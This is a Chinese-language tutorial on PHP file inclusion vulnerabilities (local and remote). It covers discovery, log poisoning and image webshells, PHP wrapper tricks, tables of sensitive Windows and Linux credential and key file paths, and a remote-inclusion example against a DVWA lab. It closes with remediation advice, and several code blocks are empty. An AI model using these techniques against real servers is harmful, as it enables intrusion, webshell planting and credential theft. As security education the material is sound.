文件包含

文件包含
Att@ckxu原理
为了使代码更灵活,开发人员将可重复使用的函数写入单个文件,使用这些函数时,直接调用该文件即可,这种调用过程被称为文件包含,通常被包含的文件被设置为变量,用来进行动态调用,因此可能导致客户端可以调用一个任意文件,造成文件包含漏洞,能够将包含的文件(不限格式后缀)以脚本方式运行。
<?php include "xx.xx";?> 这种是包含指定页面,不存在文件包含漏洞 |
危害
- 文件读取
可以包含一个服务器配置文件或者网站配置文件从而读取到该文件的内容(文件内容不符合php语法,直接打印文件内容)
- 获取服务器权限
如果被包含的文件符合php语法,就会将该文件当成php文件解析执行,不管文件后缀是什么
分类
- 本地文件包含-Local File Include-LFI
包含存放在目标服务器本地的文件
- 远程文件包含-Remote File Include-RFI
包含存放在攻击者服务器的文件
文件包含函数
PHP:include、require、include_once、require_once等 |
- include
- include_once
- require
- require_once
作用都是用来包含文件,
include:没有包含到文件时,后面的代码还会被执行
require:没有包含到文件时,后面的代码不会被执行
加上once的话,就是不管代码中有几个文件包含的函数,只包含一次文件
黑白盒思路
白盒发现:
1、可通过应用功能追踪代码定位审计
2、可通过脚本特定函数搜索定位审计
3、可通过伪协议玩法绕过相关修复等
黑盒发现:主要观察参数传递的数据和文件名是否对应,
URL中有path、dir、file、pag、page、archive、p、eng、语言文件等相关字眼(在传参)
漏洞利用
本地文件包含
一般都是用于读取敏感信息,或者是配合文件上传可以有更大危害
存在文件上传:
1、配合文件上传(目标有上传点,自己上传一个恶意代码的文件)
包含图片马(文件上传)
不存在文件上传:
2、包含日志
3、包含SESSION
4、支持伪协议利用
包含系统敏感文件
包含日志文件
利用php伪协议进行攻击
文件读取的几种方式
方式一: |
方式二: |
文件写入几种方式
方式一: |
方式二: |
代码执行几种方式
方式一: |
方式二: |
方式三: |
包含系统敏感文件
- windows常见文件
文件 | 说明 |
---|---|
C:\boot.ini | 查看系统版本 |
C:\Windows\System32\inetsrv\MetaBase.xml | IIS配置文件 |
C:\Windows\repair\sam | 存储系统初次安装的密码 |
C:\Program Files\mysql\my.ini | Mysql配置 |
C:\Program Files\mysql\data\mysql\user.MYD | Mysql root密码 |
C:\Windows\php.ini | php配置信息 |
C:\Windows\my.ini | Mysql配置信息 |
C:\Windows\win.ini | Windows系统的一个基本系统配置文件 |
- linux常见敏感文件
文件 | 说明 |
---|---|
/root/.ssh/authorized_keys | |
/root/.ssh/id_rsa | |
/root/.ssh/id_ras.keystore | |
/root/.ssh/known_hosts | 记录每个访问计算机用户的公钥 |
/etc/passwd | |
/etc/shadow | |
/etc/my.conf | mysql配置文件 |
/etc/php/5.6/apache2/php.ini | php配置文件 |
/etc/httpd/conf/httpd.conf | apache配置文件 |
/root/.bash_history | 用户历史命令记录文件 |
/root/.mysql_history | mysql历史命令记录文件 |
/proc/mounts | 记录系统挂载设备 |
/porc/config.gz | 内核配置文件 |
/var/lib/mlocate/mlocate.db | 全文件路径 |
/porc/self/cmdline | 当前进程的cmdline参数 |
利用:
如果url里如下,大概率存在文件包含漏洞
我们修改page=后面的参数(改为敏感文件)
观察页面回显
可以对文件进行爆破
可以多加几个../从而跳转到根目录(无论加再多个../,最总都是跳转到根目录)
包含日志文件
当我们访问网站时,服务器日志会记录我们的行为,当我们的访问连接中含有恶意代码时,也会被记录到日志中,从而获取服务器权限
要先获取到日志文件的存放路径
linux中/var/log/apache
利用:
- 访问的url中写入一句话木马,apache会将客户端请求信息记录在日志文件中
- 此时包含文件会失败,因为浏览器对木马进行了url编码
- 我们在bp中找到请求,在bp中的url里写入一句话木马(不使用浏览器,就不会进行url编码)
- 发包后日志文件中就写入了一句话木马
- 再用蚁剑连接(连接失败的话可能是要加上cookie值)
包含上传文件
需要同时有文件上传和文件包含功能
- 上传图片马
- 包含图片马
php伪协议利用
php伪协议是php支持的协议与封装协议,可利用这些协议完成许多命令执行
file:// — 访问本地文件系统 |
存在伪协议的原因
php://input
用来包含文件的路径,允许你读取请求的主体内容
前提条件:php.ini文件中的allow_url_include设置为On
php://input |
利用:
rul里输入php://input
post提交参数(请求体中)写php代码
data://
数据流封装器,用于传递相应格式的数据
前提条件:php.ini文件中的allow_url_include设置为On(和php://input相同)
data://text/plain,php代码 |
在bp实现时,后面的php代码要进行url编码
2.进行base64编码,相当于绕过url里的过滤
用蚁剑连接时,需要输入完整的url(包括php代码)
php://filter
元封装器,过滤器
主要用来查看源码,因为包含php文件时会解析,不能看到源码,可以用filter来读取源码文件
php://filter/read=convert.base64-encode/resource=index.php |
参数:
名称 | 描述 | 备注 |
---|---|---|
resource=<要过滤的数据流> | 指定你要筛选过滤的数据流 | 必选 |
read=<读链的筛选列表> | 可以设定一个或多个过滤器名称,以管道符( | )分割 |
write=<写链的筛选列表> | 可选 |
(1)字符串过滤器 |
利用:
当我们想读取dvwa的file3.php文件的源码
读取出来
复制下来进行base64解码,得到源码
zip://
zip://、bzip2://、zlib://协议,都属于压缩流,可以访问压缩文件中的子文件夹
zip://绝对(相对)路径/xx.zip%23被压缩的文件 |
不同的php版本用不同的路径(nts版本可以用相对路径),优点是可以用该协议绕过网站包含文件后缀的限制(直接根据限制还更改文件后缀即可),%23为#的url-encode,是为了将#后面的内容传递给服务器,#代表网0页中的一个位置,其右边的字符,就是该位置的标识符
利用:
- 将一个php文件添加到zip压缩文件(不是说非要php文件,只是说有些网站可能会固定包含的文件后缀)
- 将zip压缩文件上传(如果上传点是白名单检测则可以将.zip后缀修改为合法的后缀)
- 利用zip://协议包含该文件
此时为nts版本,子文件为有一句话木马的txt文件
phar://
与zip://类似
phar://相对路径(或绝对路径)/xx.zip/被压缩的文件 |
相对于zip://来讲,将后面的%23替换为了/
适用范围为:php>5.3.0,优点和zip://相同,也是可以绕过网站固定包含文件后缀的限制
远程文件包含
前提:php.ini的allow_url_fopen的值为On(默认开启),并且allow_url_include的值也为On(默认关闭)
利用:
- 攻击者在自己的服务器新建一个文件,内容为一句话木马,该文件需要被目标服务器能够访问到
攻击者启用一个简易的http服务
python -m http.server --bind 0.0.0.0 1234 |
- 在目标网站上使用http协议去访问攻击者服务器的这个文件
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=http://192.168.174.130:1234/a.txt |
远程文件包含比本地文件包含危害更大,
本地文件包含有一定局限性:需要上传点、需要知道日志路径等
但一般情况下远程文件包含配置allow_url_include为off,不能进行远程文件包含
修复方案
- 设置白名单:代码在进行文件包含时,如果用户名可以确定,可以设置白名单对传入的参数进行比较
- 路径限制:限制被包含的文件只能在某一文件夹内,php配置文件中有open_basedir选项可以设置文件需要执行的文件目录,如果设置目录的话,php仅仅可以在该目录内搜索文件
- 关闭危险配置:php配置中的allow_url_include选项可以关闭,防止远程文件包含
- 过滤危险字符,严格检查用户输入,参数中不允许出现../之类的目录跳转符
- 尽量不要使用动态包含,可以在需要包含的页面固定写好,如:include(‘head.php’)